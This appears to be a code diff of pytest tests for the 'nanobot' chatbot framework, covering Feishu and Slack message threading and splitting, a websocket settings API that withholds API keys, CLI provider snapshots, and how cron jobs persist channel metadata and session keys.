@pytest.mark.asyncio
|
||||
async def test_session_key_private_chat_no_override() -> None:
|
||||
"""Private chat never overrides session key (consistent with Telegram/Slack)."""
|
||||
channel = _make_feishu_channel()
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="p2p",
|
||||
content='{"text": "hello"}',
|
||||
root_id=None,
|
||||
message_id="om_001",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key_override is None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# reply_in_thread tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_uses_reply_in_thread_when_enabled() -> None:
|
||||
"""When reply_to_message is True, reply includes reply_in_thread=True."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_without_reply_in_thread_when_disabled() -> None:
|
||||
"""When reply_to_message is False, reply does NOT use reply_in_thread."""
|
||||
channel = _make_feishu_channel(reply_to_message=False)
|
||||
|
||||
create_resp = MagicMock()
|
||||
create_resp.success.return_value = True
|
||||
channel._client.im.v1.message.create.return_value = create_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
))
|
||||
|
||||
# No message_id in metadata → no reply attempt, direct create
|
||||
channel._client.im.v1.message.create.assert_called_once()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_keeps_fallback_when_reply_fails() -> None:
|
||||
"""Even with reply_to_message=True, fallback to create on reply failure."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = False
|
||||
reply_resp.code = 99991400
|
||||
reply_resp.msg = "rate limited"
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
create_resp = MagicMock()
|
||||
create_resp.success.return_value = True
|
||||
channel._client.im.v1.message.create.return_value = create_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called()
|
||||
channel._client.im.v1.message.create.assert_called()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_no_reply_in_thread_for_p2p_chat() -> None:
|
||||
"""reply_in_thread should NOT be set for p2p chats (identified by chat_type)."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc", # p2p chats also use oc_ prefix
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001", "chat_type": "p2p"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is not True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_uses_reply_in_thread_for_group_chat() -> None:
|
||||
"""reply_in_thread should be True for group chats (identified by chat_type)."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001", "chat_type": "group"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_targets_message_id_when_in_topic() -> None:
|
||||
"""When inbound message is inside a topic (root_id != message_id),
|
||||
the reply should target the inbound message_id (not root_id).
|
||||
The Feishu Reply API keeps the response in the same topic
|
||||
automatically when the target message is already inside a topic."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={
|
||||
"message_id": "om_child456",
|
||||
"chat_type": "group",
|
||||
"root_id": "om_root123",
|
||||
},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
# Should reply to the inbound message_id, not the root
|
||||
assert request.message_id == "om_child456"
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
def test_on_reaction_added_stores_reaction_id() -> None:
|
||||
"""_on_reaction_added stores the returned reaction_id in _reaction_ids."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
task = loop.create_task(asyncio.sleep(0, result="reaction_abc"))
|
||||
loop.run_until_complete(task)
|
||||
channel._on_reaction_added("om_001", task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert channel._reaction_ids["om_001"] == "reaction_abc"
|
||||
|
||||
|
||||
def test_on_reaction_added_skips_none_result() -> None:
|
||||
"""_on_reaction_added does not store None results."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
task = loop.create_task(asyncio.sleep(0, result=None))
|
||||
loop.run_until_complete(task)
|
||||
channel._on_reaction_added("om_001", task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert "om_001" not in channel._reaction_ids
|
||||
|
||||
|
||||
def test_on_background_task_done_removes_from_set() -> None:
|
||||
"""_on_background_task_done removes task from tracking set."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
async def _fail():
|
||||
raise RuntimeError("test failure")
|
||||
|
||||
task = loop.create_task(_fail())
|
||||
channel._background_tasks.add(task)
|
||||
try:
|
||||
loop.run_until_complete(task)
|
||||
except RuntimeError:
|
||||
pass # expected
|
||||
channel._on_background_task_done(task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert task not in channel._background_tasks
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
# Check optional Slack dependencies before running tests
|
||||
@@ -10,7 +14,7 @@ except ImportError:
|
||||
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.slack import SlackChannel, SlackConfig
|
||||
from nanobot.channels.slack import SLACK_MAX_MESSAGE_LEN, SlackChannel, SlackConfig
|
||||
|
||||
|
||||
class _FakeAsyncWebClient:
|
||||
@@ -20,26 +24,30 @@ class _FakeAsyncWebClient:
|
||||
self.reactions_add_calls: list[dict[str, object | None]] = []
|
||||
self.reactions_remove_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_list_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_replies_calls: list[dict[str, object | None]] = []
|
||||
self.users_list_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_open_calls: list[dict[str, object | None]] = []
|
||||
self._conversations_pages: list[dict[str, object]] = []
|
||||
self._conversations_replies_response: dict[str, object] = {"messages": []}
|
||||
self._users_pages: list[dict[str, object]] = []
|
||||
self._open_dm_response: dict[str, object] = {"channel": {"id": "D_OPENED"}}
|
||||
|
||||
async def chat_postMessage(
|
||||
async def chat_postMessage( # noqa: N802 - mirrors Slack SDK method name
|
||||
self,
|
||||
*,
|
||||
channel: str,
|
||||
text: str,
|
||||
thread_ts: str | None = None,
|
||||
blocks: list[dict[str, object]] | None = None,
|
||||
) -> None:
|
||||
self.chat_post_calls.append(
|
||||
{
|
||||
"channel": channel,
|
||||
"text": text,
|
||||
"thread_ts": thread_ts,
|
||||
}
|
||||
)
|
||||
call: dict[str, object | None] = {
|
||||
"channel": channel,
|
||||
"text": text,
|
||||
"thread_ts": thread_ts,
|
||||
}
|
||||
if blocks is not None:
|
||||
call["blocks"] = blocks
|
||||
self.chat_post_calls.append(call)
|
||||
|
||||
async def files_upload_v2(
|
||||
self,
|
||||
@@ -92,6 +100,10 @@ class _FakeAsyncWebClient:
|
||||
return self._conversations_pages.pop(0)
|
||||
return {"channels": [], "response_metadata": {"next_cursor": ""}}
|
||||
|
||||
async def conversations_replies(self, **kwargs):
|
||||
self.conversations_replies_calls.append(kwargs)
|
||||
return self._conversations_replies_response
|
||||
|
||||
async def users_list(self, **kwargs):
|
||||
self.users_list_calls.append(kwargs)
|
||||
if self._users_pages:
|
||||
@@ -149,6 +161,61 @@ async def test_send_omits_thread_for_dm_messages() -> None:
|
||||
assert fake_web.file_upload_calls[0]["thread_ts"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_splits_long_messages() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
content="x" * (SLACK_MAX_MESSAGE_LEN + 10),
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 2
|
||||
assert all(len(str(call["text"])) <= SLACK_MAX_MESSAGE_LEN for call in fake_web.chat_post_calls)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_renders_buttons_on_last_message_chunk() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
content="Choose one",
|
||||
buttons=[["Yes", "No"]],
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 1
|
||||
blocks = fake_web.chat_post_calls[0]["blocks"]
|
||||
assert isinstance(blocks, list)
|
||||
assert blocks[-1] == {
|
||||
"type": "actions",
|
||||
"elements": [
|
||||
{
|
||||
"type": "button",
|
||||
"text": {"type": "plain_text", "text": "Yes"},
|
||||
"value": "Yes",
|
||||
"action_id": "ask_user_Yes",
|
||||
},
|
||||
{
|
||||
"type": "button",
|
||||
"text": {"type": "plain_text", "text": "No"},
|
||||
"value": "No",
|
||||
"action_id": "ask_user_No",
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_updates_reaction_when_final_response_sent() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, react_emoji="eyes"), MessageBus())
|
||||
@@ -316,3 +383,143 @@ async def test_send_raises_when_named_target_cannot_be_resolved() -> None:
|
||||
content="hello",
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_with_thread_context_fetches_root_once() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
fake_web._conversations_replies_response = {
|
||||
"messages": [
|
||||
{"ts": "111.000", "user": "UROOT", "text": "drink water"},
|
||||
{"ts": "112.000", "user": "U2", "text": "good idea"},
|
||||
{"ts": "112.500", "user": "UBOT", "text": "I'll remind you."},
|
||||
{"ts": "113.000", "user": "U3", "text": "<@UBOT> what did you see?"},
|
||||
]
|
||||
}
|
||||
channel._web_client = fake_web
|
||||
|
||||
content = await channel._with_thread_context(
|
||||
"what did you see?",
|
||||
chat_id="C123",
|
||||
channel_type="channel",
|
||||
thread_ts="111.000",
|
||||
raw_thread_ts="111.000",
|
||||
current_ts="113.000",
|
||||
)
|
||||
|
||||
assert fake_web.conversations_replies_calls == [
|
||||
{"channel": "C123", "ts": "111.000", "limit": 20}
|
||||
]
|
||||
assert "Slack thread context before this mention:" in content
|
||||
assert "- <@UROOT>: drink water" in content
|
||||
assert "- <@U2>: good idea" in content
|
||||
assert "- bot: I'll remind you." in content
|
||||
assert "U3" not in content
|
||||
assert content.endswith("Current message:\nwhat did you see?")
|
||||
|
||||
second = await channel._with_thread_context(
|
||||
"again",
|
||||
chat_id="C123",
|
||||
channel_type="channel",
|
||||
thread_ts="111.000",
|
||||
raw_thread_ts="111.000",
|
||||
current_ts="114.000",
|
||||
)
|
||||
assert second == "again"
|
||||
assert len(fake_web.conversations_replies_calls) == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slack_slash_command_skips_thread_context() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._with_thread_context = AsyncMock(return_value="wrapped") # type: ignore[method-assign]
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-1",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "app_mention",
|
||||
"user": "U1",
|
||||
"channel": "C123",
|
||||
"text": "<@UBOT> /restart",
|
||||
"thread_ts": "111.000",
|
||||
"ts": "112.000",
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._with_thread_context.assert_not_awaited()
|
||||
channel._handle_message.assert_awaited_once()
|
||||
assert channel._handle_message.await_args.kwargs["content"] == "/restart"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slack_file_share_downloads_media_and_reaches_agent() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, bot_token="xoxb-test"), MessageBus())
|
||||
channel._bot_user_id = "UBOT"
|
||||
channel._web_client = _FakeAsyncWebClient()
|
||||
channel._handle_message = AsyncMock() # type: ignore[method-assign]
|
||||
channel._download_slack_file = AsyncMock( # type: ignore[method-assign]
|
||||
return_value=("/tmp/report.pdf", "[file: report.pdf]")
|
||||
)
|
||||
client = SimpleNamespace(send_socket_mode_response=AsyncMock())
|
||||
req = SimpleNamespace(
|
||||
type="events_api",
|
||||
envelope_id="env-file",
|
||||
payload={
|
||||
"event": {
|
||||
"type": "message",
|
||||
"subtype": "file_share",
|
||||
"user": "U1",
|
||||
"channel": "D123",
|
||||
"channel_type": "im",
|
||||
"text": "please read this",
|
||||
"ts": "1700000000.000100",
|
||||
"files": [
|
||||
{
|
||||
"id": "F123",
|
||||
"name": "report.pdf",
|
||||
"mimetype": "application/pdf",
|
||||
"url_private_download": "https://files.slack.com/report.pdf",
|
||||
}
|
||||
],
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
await channel._on_socket_request(client, req)
|
||||
|
||||
channel._download_slack_file.assert_awaited_once()
|
||||
channel._handle_message.assert_awaited_once()
|
||||
kwargs = channel._handle_message.await_args.kwargs
|
||||
assert kwargs["content"] == "please read this\n[file: report.pdf]"
|
||||
assert kwargs["media"] == ["/tmp/report.pdf"]
|
||||
|
||||
|
||||
def test_slack_download_rejects_login_html() -> None:
|
||||
html_response = httpx.Response(
|
||||
200,
|
||||
headers={"content-type": "text/html; charset=utf-8"},
|
||||
content=b"<!doctype html><html><title>Sign in to Slack</title>",
|
||||
)
|
||||
markdown_response = httpx.Response(
|
||||
200,
|
||||
headers={"content-type": "text/markdown"},
|
||||
content=b"# PR Extraction Guide\n",
|
||||
)
|
||||
|
||||
assert SlackChannel._looks_like_html_download(html_response) is True
|
||||
assert SlackChannel._looks_like_html_download(markdown_response) is False
|
||||
|
||||
|
||||
def test_slack_channel_uses_channel_aware_allow_policy() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True, allow_from=[]), MessageBus())
|
||||
assert channel.is_allowed("U1") is True
|
||||
assert channel._is_allowed("U1", "C123", "channel") is True
|
||||
|
||||
@@ -26,6 +26,8 @@ from nanobot.channels.websocket import (
|
||||
_parse_query,
|
||||
_parse_request_path,
|
||||
)
|
||||
from nanobot.config.loader import load_config, save_config
|
||||
from nanobot.config.schema import Config
|
||||
|
||||
# -- Shared helpers (aligned with test_websocket_integration.py) ---------------
|
||||
|
||||
@@ -178,6 +180,7 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
|
||||
content="hello",
|
||||
reply_to="m1",
|
||||
media=["/tmp/a.png"],
|
||||
buttons=[["Yes", "No"]],
|
||||
)
|
||||
await channel.send(msg)
|
||||
|
||||
@@ -185,9 +188,11 @@ async def test_send_delivers_json_message_with_media_and_reply() -> None:
|
||||
payload = json.loads(mock_ws.send.call_args[0][0])
|
||||
assert payload["event"] == "message"
|
||||
assert payload["chat_id"] == "chat-1"
|
||||
assert payload["text"] == "hello"
|
||||
assert payload["text"] == "hello\n\n1. Yes\n2. No"
|
||||
assert payload["button_prompt"] == "hello"
|
||||
assert payload["reply_to"] == "m1"
|
||||
assert payload["media"] == ["/tmp/a.png"]
|
||||
assert payload["buttons"] == [["Yes", "No"]]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -436,6 +441,72 @@ async def test_http_route_issues_token_then_websocket_requires_it(bus: MagicMock
|
||||
await server_task
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_settings_api_returns_safe_subset_and_updates_whitelist(
|
||||
bus: MagicMock,
|
||||
monkeypatch,
|
||||
tmp_path,
|
||||
) -> None:
|
||||
port = 29891
|
||||
config_path = tmp_path / "config.json"
|
||||
config = Config()
|
||||
config.agents.defaults.model = "openai/gpt-4o"
|
||||
config.providers.openai.api_key = "secret-key"
|
||||
save_config(config, config_path)
|
||||
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
|
||||
|
||||
channel = _ch(bus, port=port)
|
||||
channel._api_tokens["tok"] = time.monotonic() + 300
|
||||
|
||||
server_task = asyncio.create_task(channel.start())
|
||||
await asyncio.sleep(0.3)
|
||||
|
||||
try:
|
||||
settings = await _http_get(
|
||||
f"http://127.0.0.1:{port}/api/settings",
|
||||
headers={"Authorization": "Bearer tok"},
|
||||
)
|
||||
assert settings.status_code == 200
|
||||
body = settings.json()
|
||||
assert body["agent"]["model"] == "openai/gpt-4o"
|
||||
assert body["agent"]["provider"] == "openai"
|
||||
assert {"name": "auto", "label": "Auto"} in body["providers"]
|
||||
assert body["agent"]["has_api_key"] is True
|
||||
assert "secret-key" not in settings.text
|
||||
|
||||
updated = await _http_get(
|
||||
"http://127.0.0.1:"
|
||||
f"{port}/api/settings/update?model=openrouter/test"
|
||||
"&provider=openrouter",
|
||||
headers={"Authorization": "Bearer tok"},
|
||||
)
|
||||
assert updated.status_code == 200
|
||||
assert updated.json()["requires_restart"] is True
|
||||
|
||||
saved = load_config(config_path)
|
||||
assert saved.agents.defaults.model == "openrouter/test"
|
||||
assert saved.agents.defaults.provider == "openrouter"
|
||||
finally:
|
||||
await channel.stop()
|
||||
await server_task
|
||||
|
||||
|
||||
def test_settings_payload_normalizes_camel_case_provider(
|
||||
bus: MagicMock,
|
||||
monkeypatch,
|
||||
tmp_path,
|
||||
) -> None:
|
||||
config_path = tmp_path / "config.json"
|
||||
config = Config()
|
||||
config.agents.defaults.provider = "minimaxAnthropic"
|
||||
save_config(config, config_path)
|
||||
monkeypatch.setattr("nanobot.config.loader._current_config_path", config_path)
|
||||
|
||||
body = _ch(bus)._settings_payload()
|
||||
|
||||
assert body["agent"]["provider"] == "minimax_anthropic"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_end_to_end_server_pushes_streaming_deltas_to_client(bus: MagicMock) -> None:
|
||||
port = 29880
|
||||
|
||||
@@ -12,6 +12,7 @@ from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.cli.commands import _make_provider, app
|
||||
from nanobot.config.schema import Config
|
||||
from nanobot.cron.types import CronJob, CronPayload
|
||||
from nanobot.providers.factory import ProviderSnapshot
|
||||
from nanobot.providers.openai_codex_provider import _strip_model_prefix
|
||||
from nanobot.providers.registry import find_by_name
|
||||
|
||||
@@ -776,6 +777,15 @@ def _stop_gateway_provider(_config) -> object:
|
||||
raise _StopGatewayError("stop")
|
||||
|
||||
|
||||
def _test_provider_snapshot(provider: object, config: Config) -> ProviderSnapshot:
|
||||
return ProviderSnapshot(
|
||||
provider=provider,
|
||||
model=config.agents.defaults.model,
|
||||
context_window_tokens=config.agents.defaults.context_window_tokens,
|
||||
signature=("test",),
|
||||
)
|
||||
|
||||
|
||||
def _patch_cli_command_runtime(
|
||||
monkeypatch,
|
||||
config: Config,
|
||||
@@ -788,6 +798,8 @@ def _patch_cli_command_runtime(
|
||||
cron_service=None,
|
||||
get_cron_dir=None,
|
||||
) -> None:
|
||||
provider_factory = make_provider or (lambda _config: object())
|
||||
|
||||
monkeypatch.setattr(
|
||||
"nanobot.config.loader.set_config_path",
|
||||
set_config_path or (lambda _path: None),
|
||||
@@ -800,7 +812,15 @@ def _patch_cli_command_runtime(
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.cli.commands._make_provider",
|
||||
make_provider or (lambda _config: object()),
|
||||
provider_factory,
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(provider_factory(_config), _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(provider_factory(config), config),
|
||||
)
|
||||
|
||||
if message_bus is not None:
|
||||
@@ -941,8 +961,36 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
|
||||
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
|
||||
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: provider)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(provider, _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(provider, config),
|
||||
)
|
||||
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
|
||||
|
||||
class _FakeSession:
|
||||
def __init__(self) -> None:
|
||||
self.messages = []
|
||||
|
||||
def add_message(self, role: str, content: str, **kwargs) -> None:
|
||||
self.messages.append({"role": role, "content": content, **kwargs})
|
||||
|
||||
class _FakeSessionManager:
|
||||
def __init__(self, _workspace: Path) -> None:
|
||||
self.session = _FakeSession()
|
||||
seen["session_manager"] = self
|
||||
|
||||
def get_or_create(self, key: str) -> _FakeSession:
|
||||
seen["session_key"] = key
|
||||
return self.session
|
||||
|
||||
def save(self, session: _FakeSession) -> None:
|
||||
seen["saved_session"] = session
|
||||
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", _FakeSessionManager)
|
||||
|
||||
class _FakeCron:
|
||||
def __init__(self, _store_path: Path) -> None:
|
||||
@@ -1019,9 +1067,11 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
assert seen["provider"] is provider
|
||||
assert seen["model"] == "test-model"
|
||||
assert seen["task_context"] == (
|
||||
"[Scheduled Task] Timer finished.\n\n"
|
||||
"Task 'stretch' has been triggered.\n"
|
||||
"Scheduled instruction: Remind me to stretch."
|
||||
"The scheduled time has arrived. Deliver this reminder to the user now, "
|
||||
"as a brief and natural message in their language. Speak directly to them — "
|
||||
"do not narrate progress, summarize, include user IDs, or add status reports "
|
||||
"like 'Done' or 'Reminded'.\n\n"
|
||||
"Reminder: Remind me to stretch."
|
||||
)
|
||||
bus.publish_outbound.assert_awaited_once_with(
|
||||
OutboundMessage(
|
||||
@@ -1030,6 +1080,16 @@ def test_gateway_cron_evaluator_receives_scheduled_reminder_context(
|
||||
content="Time to stretch.",
|
||||
)
|
||||
)
|
||||
assert seen["session_key"] == "telegram:user-1"
|
||||
saved_session = seen["saved_session"]
|
||||
assert isinstance(saved_session, _FakeSession)
|
||||
assert saved_session.messages == [
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "Time to stretch.",
|
||||
"_channel_delivery": True,
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
def test_gateway_cron_job_suppresses_intermediate_progress(
|
||||
@@ -1052,6 +1112,14 @@ def test_gateway_cron_job_suppresses_intermediate_progress(
|
||||
monkeypatch.setattr("nanobot.config.loader.load_config", lambda _path=None: config)
|
||||
monkeypatch.setattr("nanobot.cli.commands.sync_workspace_templates", lambda _path: None)
|
||||
monkeypatch.setattr("nanobot.cli.commands._make_provider", lambda _config: object())
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.build_provider_snapshot",
|
||||
lambda _config: _test_provider_snapshot(object(), _config),
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"nanobot.providers.factory.load_provider_snapshot",
|
||||
lambda _config_path=None: _test_provider_snapshot(object(), config),
|
||||
)
|
||||
monkeypatch.setattr("nanobot.bus.queue.MessageBus", lambda: bus)
|
||||
monkeypatch.setattr("nanobot.session.manager.SessionManager", lambda _workspace: object())
|
||||
|
||||
|
||||
@@ -43,6 +43,59 @@ def test_add_job_accepts_valid_timezone(tmp_path) -> None:
|
||||
assert job.state.next_run_at_ms is not None
|
||||
|
||||
|
||||
def test_add_job_preserves_channel_meta_and_session_key(tmp_path) -> None:
|
||||
service = CronService(tmp_path / "cron" / "jobs.json")
|
||||
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
|
||||
job = service.add_job(
|
||||
name="thread test",
|
||||
schedule=CronSchedule(kind="every", every_ms=60_000),
|
||||
message="hello",
|
||||
deliver=True,
|
||||
channel="slack",
|
||||
to="C123",
|
||||
channel_meta=meta,
|
||||
session_key="slack:C123:1234567890.123456",
|
||||
)
|
||||
assert job.payload.channel_meta == meta
|
||||
assert job.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
reloaded = service.get_job(job.id)
|
||||
assert reloaded is not None
|
||||
assert reloaded.payload.channel_meta == meta
|
||||
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_channel_meta_and_session_key_survive_store_reload(tmp_path) -> None:
|
||||
store_path = tmp_path / "cron" / "jobs.json"
|
||||
service = CronService(store_path)
|
||||
await service.start()
|
||||
meta = {"slack": {"thread_ts": "1234567890.123456", "channel_type": "channel"}}
|
||||
try:
|
||||
job = service.add_job(
|
||||
name="thread test",
|
||||
schedule=CronSchedule(kind="every", every_ms=60_000),
|
||||
message="hello",
|
||||
deliver=True,
|
||||
channel="slack",
|
||||
to="C123",
|
||||
channel_meta=meta,
|
||||
session_key="slack:C123:1234567890.123456",
|
||||
)
|
||||
finally:
|
||||
service.stop()
|
||||
|
||||
raw = json.loads(store_path.read_text(encoding="utf-8"))
|
||||
payload = raw["jobs"][0]["payload"]
|
||||
assert payload["channelMeta"] == meta
|
||||
assert payload["sessionKey"] == "slack:C123:1234567890.123456"
|
||||
|
||||
reloaded = CronService(store_path).get_job(job.id)
|
||||
assert reloaded is not None
|
||||
assert reloaded.payload.channel_meta == meta
|
||||
assert reloaded.payload.session_key == "slack:C123:1234567890.123456"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_execute_job_records_run_history(tmp_path) -> None:
|
||||
store_path = tmp_path / "cron" / "jobs.json"
|
||||
|
||||
@@ -382,6 +382,21 @@ def test_add_job_empty_message_returns_actionable_error(tmp_path) -> None:
|
||||
assert "Retry including message=" in result
|
||||
|
||||
|
||||
def test_add_job_captures_metadata_and_session_key(tmp_path) -> None:
|
||||
"""CronTool stores channel metadata and session_key when adding a job."""
|
||||
tool = _make_tool(tmp_path)
|
||||
meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
tool.set_context("slack", "C99", metadata=meta, session_key="slack:C99:111.222")
|
||||
|
||||
result = tool._add_job("test", "say hi", 60, None, None, None)
|
||||
assert "Created job" in result
|
||||
|
||||
